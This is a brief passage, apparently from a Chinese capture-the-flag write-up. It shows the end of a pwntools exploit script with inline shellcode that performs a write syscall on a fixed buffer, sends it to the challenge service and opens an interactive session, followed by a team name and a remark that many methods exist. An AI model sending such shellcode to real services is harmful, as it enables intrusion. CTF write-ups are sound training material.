rsi, 0x6020A8; push 0x30; pop rdx; push 1; pop rax; call rbx; ''' ) print (hex (len (sh)))sl(sh) ia()
队伍 "想成为签到题高手"
:
方法很多就不多说了